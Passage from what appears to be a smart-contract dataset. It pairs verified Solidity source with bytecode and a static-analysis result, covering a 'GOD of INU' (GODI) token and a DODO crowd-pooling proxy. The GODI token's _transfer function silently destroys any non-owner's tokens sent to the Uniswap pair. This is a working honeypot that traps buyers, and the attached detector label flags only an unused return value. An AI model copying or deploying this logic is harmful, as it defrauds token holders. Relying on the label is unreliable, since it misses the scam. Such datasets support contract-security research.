uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
contract GODI is IERC20 {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
uint256 private _initialSupply = 1e15*1e18;
string private _name = "GOD of INU";
string private _symbol = "GODI";
uint8 private _decimals = 18;
address private routerAddy = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; // uniswap
address private dead = 0x000000000000000000000000000000000000dEaD;
address private vitalik = 0xAb5801a7D398351b8bE11C439e05C5B3259aeC9B;
address private pairAddress;
address private _owner = msg.sender;
constructor () {
_mint(address(this), _initialSupply);
_transfer(address(this), vitalik, _initialSupply*30/100);
_transfer(address(this), dead, _initialSupply*20/100);
}
modifier onlyOwner() {
require(isOwner(msg.sender));
_;
}
function isOwner(address account) public view returns(bool) {
return account == _owner;
}
/**
* @dev Returns the name of the token.
*/
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(msg.sender, recipient, amount);
return true;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function add_liq() public payable onlyOwner {
IUniswapV2Router02 uniswapV2Router = IUniswapV2Router02(routerAddy);
pairAddress = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());
_approve(address(this), address(uniswapV2Router), _initialSupply);
uniswapV2Router.addLiquidityETH{value: msg.value}(
address(this),
_initialSupply*50/100,
0, // slippage is unavoidable
0, // slippage is unavoidable
_owner,
block.timestamp
);
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(msg.sender, spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function burn(uint256 amount) public virtual override {
_burn(msg.sender, amount);
}
function burnFrom(address account, uint256 amount) public virtual override {
uint256 decreasedAllowance = allowance(account, msg.sender).sub(amount, "ERC20: burn amount exceeds allowance");
_approve(account, msg.sender, decreasedAllowance);
_burn(account, amount);
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
if(sender == _owner || sender == address(this) || recipient == address(this)) {
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
} else if (recipient == pairAddress){ }
else{
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
}
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
receive() external payable {}
} | 0x6080604052600436106100ec5760003560e01c806342966c681161008a57806395d89b411161005957806395d89b4114610370578063a457c2d714610385578063a9059cbb146103be578063dd62ed3e146103f7576100f3565b806342966c68146102d057806370a08231146102fc57806376c11b941461032f57806379cc679014610337576100f3565b806323b872dd116100c657806323b872dd146101f65780632f54bf6e14610239578063313ce5671461026c5780633950935114610297576100f3565b806306fdde03146100f8578063095ea7b31461018257806318160ddd146101cf576100f3565b366100f357005b600080fd5b34801561010457600080fd5b5061010d610432565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561014757818101518382015260200161012f565b50505050905090810190601f1680156101745780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561018e57600080fd5b506101bb600480360360408110156101a557600080fd5b506001600160a01b0381351690602001356104c8565b604080519115158252519081900360200190f35b3480156101db57600080fd5b506101e46104de565b60408051918252519081900360200190f35b34801561020257600080fd5b506101bb6004803603606081101561021957600080fd5b506001600160a01b038135811691602081013590911690604001356104e4565b34801561024557600080fd5b506101bb6004803603602081101561025c57600080fd5b50356001600160a01b031661054d565b34801561027857600080fd5b50610281610561565b6040805160ff9092168252519081900360200190f35b3480156102a357600080fd5b506101bb600480360360408110156102ba57600080fd5b506001600160a01b03813516906020013561056a565b3480156102dc57600080fd5b506102fa600480360360208110156102f357600080fd5b50356105a0565b005b34801561030857600080fd5b506101e46004803603602081101561031f57600080fd5b50356001600160a01b03166105ad565b6102fa6105c8565b34801561034357600080fd5b506102fa6004803603604081101561035a57600080fd5b506001600160a01b03813516906020013561083e565b34801561037c57600080fd5b5061010d610885565b34801561039157600080fd5b506101bb600480360360408110156103a857600080fd5b506001600160a01b0381351690602001356108e6565b3480156103ca57600080fd5b506101bb600480360360408110156103e157600080fd5b506001600160a01b038135169060200135610935565b34801561040357600080fd5b506101e46004803603604081101561041a57600080fd5b506001600160a01b0381358116916020013516610942565b60048054604080516020601f60026000196101006001881615020190951694909404938401819004810282018101909252828152606093909290918301828280156104be5780601f10610493576101008083540402835291602001916104be565b820191906000526020600020905b8154815290600101906020018083116104a157829003601f168201915b5050505050905090565b60006104d5338484610a65565b50600192915050565b60025490565b60006104f1848484610b51565b610543843361053e85604051806060016040528060288152602001610f51602891396001600160a01b038a16600090815260016020908152604080832033845290915290205491906109ce565b610a65565b5060019392505050565b600a546001600160a01b0390811691161490565b60065460ff1690565b3360008181526001602090815260408083206001600160a01b038716845290915281205490916104d591859061053e908661096d565b6105aa3382610d85565b50565b6001600160a01b031660009081526020819052604090205490565b6105d13361054d565b6105da57600080fd5b6000600660019054906101000a90046001600160a01b03169050806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561062d57600080fd5b505afa158015610641573d6000803e3d6000fd5b505050506040513d602081101561065757600080fd5b5051604080516315ab88c960e31b815290516001600160a01b039283169263c9c653969230929186169163ad5c464891600480820192602092909190829003018186803b1580156106a757600080fd5b505afa1580156106bb573d6000803e3d6000fd5b505050506040513d60208110156106d157600080fd5b5051604080516001600160e01b031960e086901b1681526001600160a01b0393841660048201529290911660248301525160448083019260209291908290030181600087803b15801561072357600080fd5b505af1158015610737573d6000803e3d6000fd5b505050506040513d602081101561074d57600080fd5b5051600980546001600160a01b0319166001600160a01b0390921691909117905560035461077e9030908390610a65565b806001600160a01b031663f305d719343060646003546032028161079e57fe5b600a54604080516001600160e01b031960e089901b1681526001600160a01b03958616600482015293909204602484015260006044840181905260648401529290921660848201524260a4820152905160c480830192606092919082900301818588803b15801561080e57600080fd5b505af1158015610822573d6000803e3d6000fd5b50505050506040513d606081101561083957600080fd5b505050565b600061086e82604051806060016040528060248152602001610f79602491396108678633610942565b91906109ce565b905061087b833383610a65565b6108398383610d85565b60058054604080516020601f60026000196101006001881615020190951694909404938401819004810282018101909252828152606093909290918301828280156104be5780601f10610493576101008083540402835291602001916104be565b60006104d5338461053e85604051806060016040528060258152602001611007602591393360009081526001602090815260408083206001600160a01b038d16845290915290205491906109ce565b60006104d5338484610b51565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b6000828201838110156109c7576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b9392505050565b60008184841115610a5d5760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b83811015610a22578181015183820152602001610a0a565b50505050905090810190601f168015610a4f5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b505050900390565b6001600160a01b038316610aaa5760405162461bcd60e51b8152600401808060200182810382526024815260200180610fe36024913960400191505060405180910390fd5b6001600160a01b038216610aef5760405162461bcd60e51b8152600401808060200182810382526022815260200180610f096022913960400191505060405180910390fd5b6001600160a01b03808416600081815260016020908152604080832094871680845294825291829020859055815185815291517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a3505050565b6001600160a01b038316610b965760405162461bcd60e51b8152600401808060200182810382526025815260200180610fbe6025913960400191505060405180910390fd5b6001600160a01b038216610bdb5760405162461bcd60e51b8152600401808060200182810382526023815260200180610ec46023913960400191505060405180910390fd5b610be6838383610839565b610c2381604051806060016040528060268152602001610f2b602691396001600160a01b03861660009081526020819052604090205491906109ce565b6001600160a01b03808516600081815260208190526040902092909255600a54161480610c5857506001600160a01b03831630145b80610c6b57506001600160a01b03821630145b15610ced576001600160a01b038216600090815260208190526040902054610c93908261096d565b6001600160a01b038084166000818152602081815260409182902094909455805185815290519193928716927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef92918290030190a3610839565b6009546001600160a01b0383811691161415610d0857610839565b6001600160a01b038216600090815260208190526040902054610d2b908261096d565b6001600160a01b038084166000818152602081815260409182902094909455805185815290519193928716927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef92918290030190a3505050565b6001600160a01b038216610dca5760405162461bcd60e51b8152600401808060200182810382526021815260200180610f9d6021913960400191505060405180910390fd5b610dd682600083610839565b610e1381604051806060016040528060228152602001610ee7602291396001600160a01b03851660009081526020819052604090205491906109ce565b6001600160a01b038316600090815260208190526040902055600254610e399082610e81565b6002556040805182815290516000916001600160a01b038516917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9181900360200190a35050565b60006109c783836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506109ce56fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a206275726e20616d6f756e7420657863656564732062616c616e636545524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a206275726e20616d6f756e74206578636565647320616c6c6f77616e636545524332303a206275726e2066726f6d20746865207a65726f206164647265737345524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f206164647265737345524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa26469706673582212205e17df5b9cb201a96cb3dab190987a56ae30b78a984d0941f8b9b27df8652e8264736f6c63430007060033 | {"success": true, "error": null, "results": {"detectors": [{"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}} | 10,118 |
0x283e02d0d906f1395777799f0a153c20a83d0ef2 | /**
*Submitted for verification at Etherscan.io on 2021-12-30
*/
// File: contracts/intf/IDODOApprove.sol
/*
Copyright 2021 DODO ZOO.
SPDX-License-Identifier: Apache-2.0
*/
pragma solidity 0.6.9;
interface IDODOApprove {
function claimTokens(address token,address who,address dest,uint256 amount) external;
function getDODOProxy() external view returns (address);
}
// File: contracts/lib/InitializableOwnable.sol
/**
* @title Ownable
* @author DODO Breeder
*
* @notice Ownership related functions
*/
contract InitializableOwnable {
address public _OWNER_;
address public _NEW_OWNER_;
bool internal _INITIALIZED_;
// ============ Events ============
event OwnershipTransferPrepared(address indexed previousOwner, address indexed newOwner);
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
// ============ Modifiers ============
modifier notInitialized() {
require(!_INITIALIZED_, "DODO_INITIALIZED");
_;
}
modifier onlyOwner() {
require(msg.sender == _OWNER_, "NOT_OWNER");
_;
}
// ============ Functions ============
function initOwner(address newOwner) public notInitialized {
_INITIALIZED_ = true;
_OWNER_ = newOwner;
}
function transferOwnership(address newOwner) public onlyOwner {
emit OwnershipTransferPrepared(_OWNER_, newOwner);
_NEW_OWNER_ = newOwner;
}
function claimOwnership() public {
require(msg.sender == _NEW_OWNER_, "INVALID_CLAIM");
emit OwnershipTransferred(_OWNER_, _NEW_OWNER_);
_OWNER_ = _NEW_OWNER_;
_NEW_OWNER_ = address(0);
}
}
// File: contracts/SmartRoute/DODOApproveProxy.sol
interface IDODOApproveProxy {
function isAllowedProxy(address _proxy) external view returns (bool);
function claimTokens(address token,address who,address dest,uint256 amount) external;
}
/**
* @title DODOApproveProxy
* @author DODO Breeder
*
* @notice Allow different version dodoproxy to claim from DODOApprove
*/
contract DODOApproveProxy is InitializableOwnable {
// ============ Storage ============
uint256 private constant _TIMELOCK_DURATION_ = 3 days;
mapping (address => bool) public _IS_ALLOWED_PROXY_;
uint256 public _TIMELOCK_;
address public _PENDING_ADD_DODO_PROXY_;
address public immutable _DODO_APPROVE_;
// ============ Modifiers ============
modifier notLocked() {
require(
_TIMELOCK_ <= block.timestamp,
"SetProxy is timelocked"
);
_;
}
constructor(address dodoApporve) public {
_DODO_APPROVE_ = dodoApporve;
}
function init(address owner, address[] memory proxies) external {
initOwner(owner);
for(uint i = 0; i < proxies.length; i++)
_IS_ALLOWED_PROXY_[proxies[i]] = true;
}
function unlockAddProxy(address newDodoProxy) public onlyOwner {
_TIMELOCK_ = block.timestamp + _TIMELOCK_DURATION_;
_PENDING_ADD_DODO_PROXY_ = newDodoProxy;
}
function lockAddProxy() public onlyOwner {
_PENDING_ADD_DODO_PROXY_ = address(0);
_TIMELOCK_ = 0;
}
function addDODOProxy() external onlyOwner notLocked() {
_IS_ALLOWED_PROXY_[_PENDING_ADD_DODO_PROXY_] = true;
lockAddProxy();
}
function removeDODOProxy (address oldDodoProxy) public onlyOwner {
_IS_ALLOWED_PROXY_[oldDodoProxy] = false;
}
function claimTokens(
address token,
address who,
address dest,
uint256 amount
) external {
require(_IS_ALLOWED_PROXY_[msg.sender], "DODOApproveProxy:Access restricted");
IDODOApprove(_DODO_APPROVE_).claimTokens(
token,
who,
dest,
amount
);
}
function isAllowedProxy(address _proxy) external view returns (bool) {
return _IS_ALLOWED_PROXY_[_proxy];
}
}
// File: contracts/SmartRoute/intf/IDODOV2.sol
interface IDODOV2 {
//========== Common ==================
function sellBase(address to) external returns (uint256 receiveQuoteAmount);
function sellQuote(address to) external returns (uint256 receiveBaseAmount);
function getVaultReserve() external view returns (uint256 baseReserve, uint256 quoteReserve);
function _BASE_TOKEN_() external view returns (address);
function _QUOTE_TOKEN_() external view returns (address);
function getPMMStateForCall() external view returns (
uint256 i,
uint256 K,
uint256 B,
uint256 Q,
uint256 B0,
uint256 Q0,
uint256 R
);
function getUserFeeRate(address user) external view returns (uint256 lpFeeRate, uint256 mtFeeRate);
function getDODOPoolBidirection(address token0, address token1) external view returns (address[] memory, address[] memory);
//========== DODOVendingMachine ========
function createDODOVendingMachine(
address baseToken,
address quoteToken,
uint256 lpFeeRate,
uint256 i,
uint256 k,
bool isOpenTWAP
) external returns (address newVendingMachine);
function buyShares(address to) external returns (uint256,uint256,uint256);
//========== DODOPrivatePool ===========
function createDODOPrivatePool() external returns (address newPrivatePool);
function initDODOPrivatePool(
address dppAddress,
address creator,
address baseToken,
address quoteToken,
uint256 lpFeeRate,
uint256 k,
uint256 i,
bool isOpenTwap
) external;
function reset(
address operator,
uint256 newLpFeeRate,
uint256 newI,
uint256 newK,
uint256 baseOutAmount,
uint256 quoteOutAmount,
uint256 minBaseReserve,
uint256 minQuoteReserve
) external returns (bool);
function _OWNER_() external returns (address);
//========== CrowdPooling ===========
function createCrowdPooling() external returns (address payable newCrowdPooling);
function initCrowdPooling(
address cpAddress,
address creator,
address[] memory tokens,
uint256[] memory timeLine,
uint256[] memory valueList,
bool[] memory switches
) external;
function bid(address to) external;
}
// File: contracts/intf/IERC20.sol
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
function decimals() external view returns (uint8);
function name() external view returns (string memory);
function symbol() external view returns (string memory);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
}
// File: contracts/lib/SafeMath.sol
/**
* @title SafeMath
* @author DODO Breeder
*
* @notice Math operations with safety checks that revert on error
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "MUL_ERROR");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "DIVIDING_ERROR");
return a / b;
}
function divCeil(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 quotient = div(a, b);
uint256 remainder = a - quotient * b;
if (remainder > 0) {
return quotient + 1;
} else {
return quotient;
}
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SUB_ERROR");
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "ADD_ERROR");
return c;
}
function sqrt(uint256 x) internal pure returns (uint256 y) {
uint256 z = x / 2 + 1;
y = x;
while (z < y) {
y = z;
z = (x / z + z) / 2;
}
}
}
// File: contracts/lib/SafeERC20.sol
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure (when the token
* contract returns false). Tokens that return no value (and instead revert or
* throw on failure) are also supported, non-reverting calls are assumed to be
* successful.
* To use this library you can add a `using SafeERC20 for ERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
using SafeMath for uint256;
function safeTransfer(
IERC20 token,
address to,
uint256 value
) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(
IERC20 token,
address from,
address to,
uint256 value
) internal {
_callOptionalReturn(
token,
abi.encodeWithSelector(token.transferFrom.selector, from, to, value)
);
}
function safeApprove(
IERC20 token,
address spender,
uint256 value
) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require(
(value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
/**
* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
* on the return value: the return value is optional (but if data is returned, it must not be false).
* @param token The token targeted by the call.
* @param data The call data (encoded using abi.encode or one of its variants).
*/
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
// we're implementing it ourselves.
// A Solidity high level call has three parts:
// 1. The target address is checked to verify it contains contract code
// 2. The call itself is made, and success asserted
// 3. The return value is decoded, which in turn checks the size of the returned data.
// solhint-disable-next-line max-line-length
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
// Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
// File: contracts/intf/IWETH.sol
interface IWETH {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address src,
address dst,
uint256 wad
) external returns (bool);
function deposit() external payable;
function withdraw(uint256 wad) external;
}
// File: contracts/lib/ReentrancyGuard.sol
/**
* @title ReentrancyGuard
* @author DODO Breeder
*
* @notice Protect functions from Reentrancy Attack
*/
contract ReentrancyGuard {
// https://solidity.readthedocs.io/en/latest/control-structures.html?highlight=zero-state#scoping-and-declarations
// zero-state of _ENTERED_ is false
bool private _ENTERED_;
modifier preventReentrant() {
require(!_ENTERED_, "REENTRANT");
_ENTERED_ = true;
_;
_ENTERED_ = false;
}
}
// File: contracts/SmartRoute/proxies/DODOCpProxy.sol
/**
* @title DODOCpProxy
* @author DODO Breeder
*
* @notice CrowdPooling && UpCrowdPooling Proxy
*/
contract DODOCpProxy is ReentrancyGuard {
using SafeMath for uint256;
using SafeERC20 for IERC20;
// ============ Storage ============
address constant _ETH_ADDRESS_ = 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE;
address public immutable _WETH_;
address public immutable _DODO_APPROVE_PROXY_;
address public immutable _CP_FACTORY_;
// ============ Modifiers ============
modifier judgeExpired(uint256 deadLine) {
require(deadLine >= block.timestamp, "DODOCpProxy: EXPIRED");
_;
}
fallback() external payable {}
receive() external payable {}
constructor(
address payable weth,
address cpFactory,
address dodoApproveProxy
) public {
_WETH_ = weth;
_CP_FACTORY_ = cpFactory;
_DODO_APPROVE_PROXY_ = dodoApproveProxy;
}
//============ CrowdPooling Functions (create) ============
function createCrowdPooling(
address baseToken,
address quoteToken,
uint256 baseInAmount,
uint256[] memory timeLine,
uint256[] memory valueList,
bool[] memory switches,
uint256 deadLine
) external payable preventReentrant judgeExpired(deadLine) returns (address payable newCrowdPooling) {
address _baseToken = baseToken;
address _quoteToken = quoteToken == _ETH_ADDRESS_ ? _WETH_ : quoteToken;
newCrowdPooling = IDODOV2(_CP_FACTORY_).createCrowdPooling();
_deposit(
msg.sender,
newCrowdPooling,
_baseToken,
baseInAmount,
false
);
(bool success, ) = newCrowdPooling.call{value: msg.value}("");
require(success, "DODOCpProxy: Transfer failed");
address[] memory tokens = new address[](2);
tokens[0] = _baseToken;
tokens[1] = _quoteToken;
IDODOV2(_CP_FACTORY_).initCrowdPooling(
newCrowdPooling,
msg.sender,
tokens,
timeLine,
valueList,
switches
);
}
function bid(
address cpAddress,
uint256 quoteAmount,
uint8 flag, // 0 - ERC20, 1 - quoteInETH
uint256 deadLine
) external payable preventReentrant judgeExpired(deadLine) {
_deposit(msg.sender, cpAddress, IDODOV2(cpAddress)._QUOTE_TOKEN_(), quoteAmount, flag == 1);
IDODOV2(cpAddress).bid(msg.sender);
}
//====================== internal =======================
function _deposit(
address from,
address to,
address token,
uint256 amount,
bool isETH
) internal {
if (isETH) {
if (amount > 0) {
require(msg.value == amount, "ETH_VALUE_WRONG");
IWETH(_WETH_).deposit{value: amount}();
if (to != address(this)) SafeERC20.safeTransfer(IERC20(_WETH_), to, amount);
}
} else {
IDODOApproveProxy(_DODO_APPROVE_PROXY_).claimTokens(token, from, to, amount);
}
}
} | 0x60806040526004361061004e5760003560e01c80630d4eec8f146100575780639b58c78c14610088578063db70b5c714610255578063eb99be1214610290578063faa980e4146102a557610055565b3661005557005b005b34801561006357600080fd5b5061006c6102ba565b604080516001600160a01b039092168252519081900360200190f35b61006c600480360360e081101561009e57600080fd5b6001600160a01b038235811692602081013590911691604082013591908101906080810160608201356401000000008111156100d957600080fd5b8201836020820111156100eb57600080fd5b8035906020019184602083028401116401000000008311171561010d57600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600092019190915250929594936020810193503591505064010000000081111561015d57600080fd5b82018360208201111561016f57600080fd5b8035906020019184602083028401116401000000008311171561019157600080fd5b91908080602002602001604051908101604052809392919081815260200183836020028082843760009201919091525092959493602081019350359150506401000000008111156101e157600080fd5b8201836020820111156101f357600080fd5b8035906020019184602083028401116401000000008311171561021557600080fd5b91908080602002602001604051908101604052809392919081815260200183836020028082843760009201919091525092955050913592506102de915050565b6100556004803603608081101561026b57600080fd5b506001600160a01b038135169060208101359060ff6040820135169060600135610764565b34801561029c57600080fd5b5061006c6108e9565b3480156102b157600080fd5b5061006c61090d565b7f000000000000000000000000c02aaa39b223fe8d0a0e5c4f27ead9083c756cc281565b6000805460ff1615610323576040805162461bcd60e51b815260206004820152600960248201526814915153951490539560ba1b604482015290519081900360640190fd5b6000805460ff19166001179055814281101561037d576040805162461bcd60e51b81526020600482015260146024820152731113d113d0dc141c9bde1e4e881156141254915160621b604482015290519081900360640190fd5b8860006001600160a01b038a1673eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee146103aa57896103cc565b7f000000000000000000000000c02aaa39b223fe8d0a0e5c4f27ead9083c756cc25b90507f0000000000000000000000001e5d8ee8fb7f0d791475c59391db8f6cd06aa6566001600160a01b03166389edcf146040518163ffffffff1660e01b8152600401602060405180830381600087803b15801561042957600080fd5b505af115801561043d573d6000803e3d6000fd5b505050506040513d602081101561045357600080fd5b505193506104653385848c6000610931565b6040516000906001600160a01b0386169034908381818185875af1925050503d80600081146104b0576040519150601f19603f3d011682016040523d82523d6000602084013e6104b5565b606091505b505090508061050b576040805162461bcd60e51b815260206004820152601c60248201527f444f444f437050726f78793a205472616e73666572206661696c656400000000604482015290519081900360640190fd5b6040805160028082526060808301845292602083019080368337019050509050838160008151811061053957fe5b60200260200101906001600160a01b031690816001600160a01b031681525050828160018151811061056757fe5b60200260200101906001600160a01b031690816001600160a01b0316815250507f0000000000000000000000001e5d8ee8fb7f0d791475c59391db8f6cd06aa6566001600160a01b031663adf2086d8733848e8e8e6040518763ffffffff1660e01b815260040180876001600160a01b03166001600160a01b03168152602001866001600160a01b03166001600160a01b0316815260200180602001806020018060200180602001858103855289818151815260200191508051906020019060200280838360005b8381101561064757818101518382015260200161062f565b50505050905001858103845288818151815260200191508051906020019060200280838360005b8381101561068657818101518382015260200161066e565b50505050905001858103835287818151815260200191508051906020019060200280838360005b838110156106c55781810151838201526020016106ad565b50505050905001858103825286818151815260200191508051906020019060200280838360005b838110156107045781810151838201526020016106ec565b505050509050019a5050505050505050505050600060405180830381600087803b15801561073157600080fd5b505af1158015610745573d6000803e3d6000fd5b50506000805460ff1916905550959d9c50505050505050505050505050565b60005460ff16156107a8576040805162461bcd60e51b815260206004820152600960248201526814915153951490539560ba1b604482015290519081900360640190fd5b6000805460ff191660011790558042811015610802576040805162461bcd60e51b81526020600482015260146024820152731113d113d0dc141c9bde1e4e881156141254915160621b604482015290519081900360640190fd5b6108793386876001600160a01b031663d4b970466040518163ffffffff1660e01b815260040160206040518083038186803b15801561084057600080fd5b505afa158015610854573d6000803e3d6000fd5b505050506040513d602081101561086a57600080fd5b505187600160ff891614610931565b60408051639cf5453d60e01b815233600482015290516001600160a01b03871691639cf5453d91602480830192600092919082900301818387803b1580156108c057600080fd5b505af11580156108d4573d6000803e3d6000fd5b50506000805460ff1916905550505050505050565b7f000000000000000000000000335ac99bb3e51bdbf22025f092ebc1cf2c5cc61981565b7f0000000000000000000000001e5d8ee8fb7f0d791475c59391db8f6cd06aa65681565b8015610a38578115610a3357813414610983576040805162461bcd60e51b815260206004820152600f60248201526e4554485f56414c55455f57524f4e4760881b604482015290519081900360640190fd5b7f000000000000000000000000c02aaa39b223fe8d0a0e5c4f27ead9083c756cc26001600160a01b031663d0e30db0836040518263ffffffff1660e01b81526004016000604051808303818588803b1580156109de57600080fd5b505af11580156109f2573d6000803e3d6000fd5b505050506001600160a01b03851630149050610a3357610a337f000000000000000000000000c02aaa39b223fe8d0a0e5c4f27ead9083c756cc28584610adb565b610ad4565b6040805163052f523360e11b81526001600160a01b038581166004830152878116602483015286811660448301526064820185905291517f000000000000000000000000335ac99bb3e51bdbf22025f092ebc1cf2c5cc61990921691630a5ea4669160848082019260009290919082900301818387803b158015610abb57600080fd5b505af1158015610acf573d6000803e3d6000fd5b505050505b5050505050565b604080516001600160a01b038416602482015260448082018490528251808303909101815260649091019091526020810180516001600160e01b031663a9059cbb60e01b179052610b2d908490610b32565b505050565b60006060836001600160a01b0316836040518082805190602001908083835b60208310610b705780518252601f199092019160209182019101610b51565b6001836020036101000a0380198251168184511680821785525050505050509050019150506000604051808303816000865af19150503d8060008114610bd2576040519150601f19603f3d011682016040523d82523d6000602084